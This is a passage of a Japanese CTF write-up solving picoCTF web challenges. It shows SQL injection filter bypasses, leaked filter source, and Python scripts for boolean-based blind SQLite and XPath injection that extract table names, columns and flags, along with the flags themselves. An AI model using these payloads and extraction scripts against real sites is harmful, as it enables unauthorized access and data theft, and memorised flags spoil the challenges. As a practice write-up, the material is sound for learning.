if ($win === 0) {
    $filter = array("or", "and", "true", "false", "union", "like", "=", ">", "<", ";", "--", "/*", "*/", "admin");
    if ($view) {
        echo "Filters: ".implode(" ", $filter)."<br/>";
    }
} else if ($win === 1) {
    if ($view) {
        highlight_file("filter.php");
    }
    $_SESSION["winner2"] = 0;        // <- Don't refresh!
} else {
    $_SESSION["winner2"] = 0;
}

// picoCTF{0n3_m0r3_t1m3_fc0f841ee8e0d3e1f479f1a01a617ebb}
?>

🙌

Web Gauntlet 3

Last time, I promise! Only 25 characters this time. Log in as admin Site: http://mercury.picoctf.net:29772/ Filter: http://mercury.picoctf.net:29772/filter.php

Web Gauntlet 2と同じようなサイトとfilter。今度は25文字制限とのこと。
さっき(Web Gauntlet 2)解いたときすでに25文字内だったので行けそうだけど…。

Username: ad'||'min' group by 
Password: '

f:id:kusuwada:20210331071210p:plain

🙌
filter.phpにまたソースとflagがでていました。

<?php
session_start();

if (!isset($_SESSION["winner3"])) {
    $_SESSION["winner3"] = 0;
}
$win = $_SESSION["winner3"];
$view = ($_SERVER["PHP_SELF"] == "/filter.php");

if ($win === 0) {
    $filter = array("or", "and", "true", "false", "union", "like", "=", ">", "<", ";", "--", "/*", "*/", "admin");
    if ($view) {
        echo "Filters: ".implode(" ", $filter)."<br/>";
    }
} else if ($win === 1) {
    if ($view) {
        highlight_file("filter.php");
    }
    $_SESSION["winner3"] = 0;        // <- Don't refresh!
} else {
    $_SESSION["winner3"] = 0;
}

// picoCTF{k3ep_1t_sh0rt_30593712914d76105748604617f4006a}
?>

Startup Company

Do you want to fund my startup? http://mercury.picoctf.net:49884/

サイトを訪れてみます。

f:id:kusuwada:20210331091813p:plain

先にヒントを見てみると

Try to get an error What do you think the query looks like? sqlite

またsqliteのSQL injectionかな?
今度は左上の方に Register 機能がある。とりあえず適当なユーザーをregistしてみた。

f:id:kusuwada:20210331091832p:plain

ここからStartup Companyに寄付できるらしい。寄付してみる。

寄付するときのpathは

Request URL: http://mercury.picoctf.net:49884/contribute.php
Request Method: POST

ブラウザからは数値しか入力できないようになっているので、pythonで好きな値を送れるようにしてみます。
この時 captcha という値も一緒に送る必要があるみたいで、この値は index.php をGETした時に表示されているのでそこから取ります。

import requests
from bs4 import BeautifulSoup

url = 'http://mercury.picoctf.net:49884/index.php'
c_url = 'http://mercury.picoctf.net:49884/contribute.php'
cookies = dict(PHPSESSID='{my_cookie}')

# get captcha
res = requests.get(url, cookies=cookies)
soup = BeautifulSoup(res.text, 'html.parser')
captcha = int(soup.find_all(id='captcha')[0]['value'])

# contribute
data = {'captcha':captcha, 'moneys':"attack query"}
res = requests.post(c_url, cookies=cookies, data=data)
print(res.text)

こんな感じ。attack query'or 1==1-- を入れるとレスポンスの金額に $1 が、 'or 1==0-- を入れると $0 が返ってきたので効いてるっぽい!

contributeの金額を表示するようにしているなら、intしか表示されなさそうなので、intを返すクエリでの攻撃ができそう。が、数がそのまま表示されるのではなく、trueなら1, falseなら0, 0以外の数は1, 0のときだけ0、みたいな返り方な気がする。
これはboolean-based or error-based injectionするしかなさそう。しかしtable名もカラム名も何もない。

まずは、table数を確認するクエリを組み立ててみます。

'or (select count(*) from sqlite_master where type='table' == 1);--

結果は

$1

すなわちtable数は1個っぽい。==2以上を入れてみると $0が返ってきたので確定で良さそう。なんだか解けそうな気がしてきました!

次に必要なのはtable名。moneyに下記を入れて Boolean-based SQL injectionします。

data = {'captcha':captcha, 'moneys':"'or (select count(*) from sqlite_master where type='table' and name like '" + c + "%' == 1);--"}

full code (基本このあとの攻撃もこのコードを使いまわし)

import requests
import string
from bs4 import BeautifulSoup

url = 'http://mercury.picoctf.net:49884/index.php'
c_url = 'http://mercury.picoctf.net:49884/contribute.php'
cookies = dict(PHPSESSID='{my_cookie}')

candidates = string.digits + string.ascii_letters + '{}_-@!$+.?%'

def challenge(c):
    # get captcha
    res = requests.get(url, cookies=cookies)
    soup = BeautifulSoup(res.text, 'html.parser')
    captcha = int(soup.find_all(id='captcha')[0]['value'])
    
    # contribute
    data = {'captcha':captcha, 'moneys':"'or (select count(*) from sqlite_master where type='table' and name like '" + c + "%' == 1);--"}
    res = requests.post(c_url, cookies=cookies, data=data)
    soup = BeautifulSoup(res.text, 'html.parser')
    result = soup.find('h6').get_text().split('$')[1]
    if result == '1':
        return True
    else:
        return False

table_name = ''
for i in range(20):
    for c in candidates:
        print(table_name+c)
        ret = challenge(table_name+c)
        if ret:
            table_name += c
            break
print(table_name)

結果

startup_users

よっしゃ!table名が抜けました👍
次はカラム数。

data = {'captcha':captcha, 'moneys':"'or (select count(*) from PRAGMA_TABLE_INFO('startup_users')) == 3;--"}

これで $1 が返ってきたので、カラム数は3。
次はカラム名。一つはあてずっぽで入れた money が有効だったので、残り2つのカラム名を当てたい。

data = {'captcha':captcha, 'moneys':"'or (select count(*) from PRAGMA_TABLE_INFO('startup_users') where name like '" + c + "%' != 0);--"}

一回目に回したら見事にmoneyを引いたので、一個目がmになるのはパス。二個目はnameuserだったので3回目は同様にnから始まるものも弾いた。

money, nameuser, wordpass

username と password は試してたんだけどなぁ!!!guessだけでは難しかったかもしれん。
ここから、nameuserで怪しいやつを引き当てて、そいつのwordpassを抜けば良さそう。一応adminがいるか確認してみる。

data = {'captcha':captcha, 'moneys':"'or (select count(*) from startup_users where nameuser=='admin') != 0;--"}

$1 返ってきた。adminいるわ。
adminのpasswordを抜いてみます。

data = {'captcha':captcha, 'moneys':"'or ((select count(*) from startup_users where nameuser=='admin' and wordpass like '" + c + "%') != 0);--"}

実行結果

admin

あれ?
試しにadminで入ってみたらpassadminで入れた…。アプローチが違ったっぽい。
こうなったら10レコードしかないみたいなので、wordpassをさっきと同じ方法で総当りするか!
…と思ったけど、もうこれflagっぽいので、picoCTF から始まるものを探すことに。出だしで{がhitしたので勝利を確信。

data = {'captcha':captcha, 'moneys':"'or ((select count(*) from startup_users where wordpass like '" + c + "%') != 0);--"}

実行結果

picoCTF{1_c4nn0t_s33_y0u_104764a5}%

🙌
今思えば大文字小文字区別されないから、大文字は候補の文字列に加えなくてよかったな…。
あと、他にもboolean sql injectionあったから、もしかしたらもっと楽に解けたのかもしれない。

X marks the spot

Another login you have to bypass. Maybe you can find an injection that works? http://mercury.picoctf.net:59946/

f:id:kusuwada:20210331092017p:plain

タイトルとヒントによると、これはXPATH injection というジャンルらしい。
いくつか記事を漁ってみました。

軽く眺めてから、対象サイトのソースを見てみると、こんな詩がコメントで書いてある。何か意味があるのかな?

Two roads diverged in a yellow wood, And sorry I could not travel both And be one traveler, long I stood And looked down one as far as I could To where it bent in the undergrowth;

Then took the other, as just as fair, And having perhaps the better claim, Because it was grassy and wanted wear; Though as for that the passing there Had worn them really about the same,

And both that morning equally lay In leaves no step had trodden black. Oh, I kept the first for another day! Yet knowing how way leads on to way, I doubted if I should ever come back.

I shall be telling this with a sigh Somewhere ages and ages hence: Two roads diverged in a wood, and I— I took the one less traveled by, And that has made all the difference. -Robert Frost

ぜんぜんわからない。

詩は置いておいて、さっき参考にしたサイトの最後のOWASPに出てきていた事例

name: blah' or 1=1 or 'a'='a
pass: blah

をそのまま突っ込んでみると、なんとログインできた👍

f:id:kusuwada:20210331092058p:plain

Yay🙌 I'm on the right track!
さて、きっと目標はadminのpasswordを得ること。表示はloginの成功 or 失敗で確認できるので、Startup Company と同じくBoolean injectionが使えそう。Boolean-based XPATH injection?

さっきので、こんな感じのクエリになっていると想像。テーブル名とかは適当。
先述のクエリは、ANDの結合が優先されるので、OR を2つ書くと評価の順序が下記のようにになるという性質を利用しているらしい。

Original:
//Users[UserName/text()='username' And Password/text()='password']

Attack Query:
//Users[UserName/text()='blah' or 1=1 or
        'a'='a' And Password/text()='blah']

Logically:
//Users[(UserName/text()='blah' or 1=1) or
        ('a'='a' And Password/text()='blah')]

まずは username='admin'がいるかを確認したい。

name: admin' and 1=1 or 'a'='a
pass: test

通った。adminいるっぽい。
次は、table名とかpasswordのカラム名を知りたい。少なくともカラム名がないとinjectionコードが書けない。

カラム名がわかったら、length調査して、substring使ってpasswordをblind injectionできそう。

name = "admin' and string-length(//*[position()=1]/child::node()[position()=1])=" + str(l) + " or 'a'='a"

名前がわからないnodeに対してこんな感じでやってみると、このときのl=2になった。何かの長さが2らしい。idとか?とりあえずこのクエリが刺さったので、手当り次第試してみる。

child::node()[position()=1  -> 2
child::node()[position()=2
child::node()[position()=3  -> 4
child::node()[position()=4  -> 18
child::node()[position()=5  -> 4
child::node()[position()=6
child::node()[position()=7  -> 3
child::node()[position()=8  -> 
child::node()[position()=9  -> 3
child::node()[position()=10
child::node()[position()=11  -> 2
child::node()[position()=12  -> 0

なんかようわからんけど、レコードが11個あって、それぞれのposition=1の値の長さがいま出てきたやつってことなのかな?hitしなかったやつはなんだろう?試したrangeがちいさかった?

<data>
<user>
    <name>pepe</name>
    <password>peponcio</password>
    <account>admin</account>
</user>
<user>
    <name>mark</name>
    <password>m12345</password>
    <account>regular</account>
</user>
<user>
    <name>fino</name>
    <password>fino2</password>
    <account>regular</account>
</user>
</data>

こんなレコードだったと仮定して、

  • //* で取ってきているのは"Selects all elements in the document"なので、user, name, password, account
  • [position()=1]で指定しているのが、その中のどれに当たるか
  • /child::node()[position()=1]で指定しているのがそのなかの1つ目のレコード

ってなってそう。
クエリを色々試すうちに

name = "admin' and string-length(//user[position()=1]/child::node()[position()=4])=" + str(l) + " or 'a'='a"

このクエリも意味のあるものが返ってくることがわかったので、userというelementは存在するらしい!ありがたい!
上記のクエリのpositionを下記のように変えて返ってくる値を調査。

[1,1] -> 4
[1,2] -> 5
[1,3] -> 4
[1,4] -> 16
[1,5] -> 3
[1,6] -> 0
---
[2,1] -> 4
[2,2] -> 3
[2,3] -> 4
[2,4] -> 22
[2,5] -> 3
[2,6] -> 0
---
[3,1] -> 4
[3,2] -> 5
[3,3] -> 4
[3,4] -> 50
[3,5] -> 3
[3,6] -> 0
---
[4,1] -> 0

どう考えても4個目のレコードが怪しく、3つ目のフィールドが長さ的にflagっぽい。
1文字ずつ4個目のレコードの3つ目のelementをblind injectionで探していく。

import requests
import string

url = 'http://mercury.picoctf.net:59946/'

candidates = string.ascii_letters + string.digits + '{}_-@!$+.?%'

def login(name, pw):
    data = {'name':name, 'pass':pw}
    res = requests.post(url, data=data)
    if 'Login failure.' in res.text:
        return False
    elif "on the right path." in res.text:
        return True
    else:
        print('----------------Unusual Response.-----------------')
        print(res.text)
        return False

flag = 'picoCTF{'
pw = 'password'
while True:
    for c in candidates:
        name = "admin' and substring((//user[position()=3]/child::node()[position()=4])," + str(len(flag)+1) + ",1)=" + '"' + c + '"' + " or 'a'='a"
        if login(name, pw):
            flag += c
            print(flag)
            if c == '}':
                print(flag)
                exit(0)
            break

実行結果

$ python solve.py 
picoCTF{h
picoCTF{h0
picoCTF{h0p
picoCTF{h0p3
picoCTF{h0p3f
picoCTF{h0p3fu
picoCTF{h0p3ful
picoCTF{h0p3full
picoCTF{h0p3fully
picoCTF{h0p3fully_
picoCTF{h0p3fully_u
picoCTF{h0p3fully_u_
picoCTF{h0p3fully_u_t
picoCTF{h0p3fully_u_t0
picoCTF{h0p3fully_u_t0o
picoCTF{h0p3fully_u_t0ok
picoCTF{h0p3fully_u_t0ok_
picoCTF{h0p3fully_u_t0ok_t
picoCTF{h0p3fully_u_t0ok_th
picoCTF{h0p3fully_u_t0ok_th3
picoCTF{h0p3fully_u_t0ok_th3_
picoCTF{h0p3fully_u_t0ok_th3_r
picoCTF{h0p3fully_u_t0ok_th3_r1
picoCTF{h0p3fully_u_t0ok_th3_r1g
picoCTF{h0p3fully_u_t0ok_th3_r1gh
picoCTF{h0p3fully_u_t0ok_th3_r1ght
picoCTF{h0p3fully_u_t0ok_th3_r1ght_
picoCTF{h0p3fully_u_t0ok_th3_r1ght_x
picoCTF{h0p3fully_u_t0ok_th3_r1ght_xp
picoCTF{h0p3fully_u_t0ok_th3_r1ght_xp4
picoCTF{h0p3fully_u_t0ok_th3_r1ght_xp4t
picoCTF{h0p3fully_u_t0ok_th3_r1ght_xp4th
picoCTF{h0p3fully_u_t0ok_th3_r1ght_xp4th_
picoCTF{h0p3fully_u_t0ok_th3_r1ght_xp4th_a
picoCTF{h0p3fully_u_t0ok_th3_r1ght_xp4th_a5
picoCTF{h0p3fully_u_t0ok_th3_r1ght_xp4th_a56
picoCTF{h0p3fully_u_t0ok_th3_r1ght_xp4th_a560
picoCTF{h0p3fully_u_t0ok_th3_r1ght_xp4th_a5601
picoCTF{h0p3fully_u_t0ok_th3_r1ght_xp4th_a56016
picoCTF{h0p3fully_u_t0ok_th3_r1ght_xp4th_a56016e
picoCTF{h0p3fully_u_t0ok_th3_r1ght_xp4th_a56016ef
picoCTF{h0p3fully_u_t0ok_th3_r1ght_xp4th_a56016ef}
picoCTF{h0p3fully_u_t0ok_th3_r1ght_xp4th_a56016ef}

🙌